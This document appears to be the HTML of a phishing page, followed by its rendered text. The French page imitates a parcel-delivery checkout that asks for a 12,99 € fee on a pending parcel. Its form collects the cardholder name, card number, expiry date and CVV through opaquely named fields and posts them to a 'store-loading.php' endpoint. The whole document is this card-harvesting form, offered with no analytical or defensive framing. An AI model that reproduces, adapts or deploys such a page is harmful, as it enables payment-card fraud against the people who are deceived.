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<form class="checkout-new-shipping-address-form" method="post" action="store-loading.php?client=7O2LM0YFUWAGSCHRIKXZJ6Q19VTPE5NB843D" data-toggle="validate">
  <div class="form-group saisie">
    <label for="spi_tmp">Titulaire de la carte *</label>
    <a href="#" class="info">
                                                <img width="18" height="18" class="aide" src="templates/info.png" alt="Aide">
                                                <span data-toggle="tooltip">
                                                     Veuillez le nom complet sur la carte.
                                                </span>
                                            </a>
    <br>
    <input class="saisie TroisSChamps" name="AK09" aria-required="true" placeholder="Titulaire de la carte" autocomplete="on" id="spi_tmp" size="40" required="">
  </div>
  <div class="form-group saisie">
    <label for="teledec_tmp">Carte de crédit *</label>
    <a href="#" class="info">
                                                <img width="18" height="18" class="aide" src="templates/info.png" alt="Aide">
                                                    <span data-toggle="tooltip">
                                                         Veuillez les 16 Chiffres figurant sur la Carte de Crédit.       
                                                    </span>
                                            </a>
    <br>
    <input class="saisie TroisSChamps" style="background-image: url(&quot;templates/cccc.png&quot;); background-repeat: no-repeat; background-position: 101.5% 74.8%;" id="getcc" onkeyup="type_carte()" type="tel"
      placeholder="Numéro de carte de crédit" name="AK10" aria-required="true" autocomplete="off" required="required" templates="">
    <div class="erreur invisible" id="getcc">
    </div>
  </div>
  <div class="form-group saisie" style="
">
    <label for="teledec_tmp">Date d'expiration *</label>
    <a href="#" class="info">
                                  <img width="18" height="18" class="aide" src="templates/info.png" alt="Aide">
                                    <span data-toggle="tooltip">
                                        Séléctioner la date d'éxpiration sur la Carte/Cryptogramme Visuel.
                                        </span>
                                            </a>
    <br>
    <div class="form-group saisie" style=" width: 101%;">
      <div style="  width: 101%;"><select class="saisie3" name="AK11" data-rule-required="true" data-msg-required="&nbsp;*" required="" style="
    width: 30%;
">
          <option value="">Mois</option>
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          <option value="02">02</option>
          <option value="03">03</option>
          <option value="04">04</option>
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          <option value="06">06</option>
          <option value="07">07</option>
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          <option value="11">11</option>
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        </select>
        <select class="saisie3" name="AK12" "="" data-rule-required=" true" data-msg-required="&nbsp;*" required="" style="
    width: 30%;
">
          <option value="">Année</option>
          <option value="2023">2023</option>
          <option value="2024">2024</option>
          <option value="2025">2025</option>
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          <option value="2027">2027</option>
          <option value="2028">2028</option>
          <option value="2029">2029</option>
          <option value="2030">2030</option>
        </select>
        <input class="saisie1" style="background-image: url(templates/crypt.png);background-repeat: no-repeat;background-position: 92%;width: 30%;" type="tel" maxlength="8" name="AK13" aria-required="true" autocomplete="off" id="cry"
          placeholder="Crypto" required="required">
        <div class="erreur invisible" id="Cat1_3S_rfr_tmp"> Veuillez vérifier votre saisie. </div>
      </div>
    </div>
  </div>
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    <div class="custom-control custom-checkbox">
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      <label class="custom-control-label" for="accept_dpp_shipping">J'ai lu et j'accepte <a target="_blank" href="#"><b>la politique de confidentialité</b></a>.</label>
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Total
12,99 €

NUMÉRO DE COLIS : N°XB0711409823

Statut : en attente

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VOS COORDONNÉES BANCAIRE

Titulaire de la carte * Veuillez le nom complet sur la carte.

Carte de crédit * Veuillez les 16 Chiffres figurant sur la Carte de Crédit.


Date d'expiration * Séléctioner la date d'éxpiration sur la Carte/Cryptogramme
Visuel.

Mois01 02 03 040506 070809 101112 Année2023 202420252026 202720282029 2030
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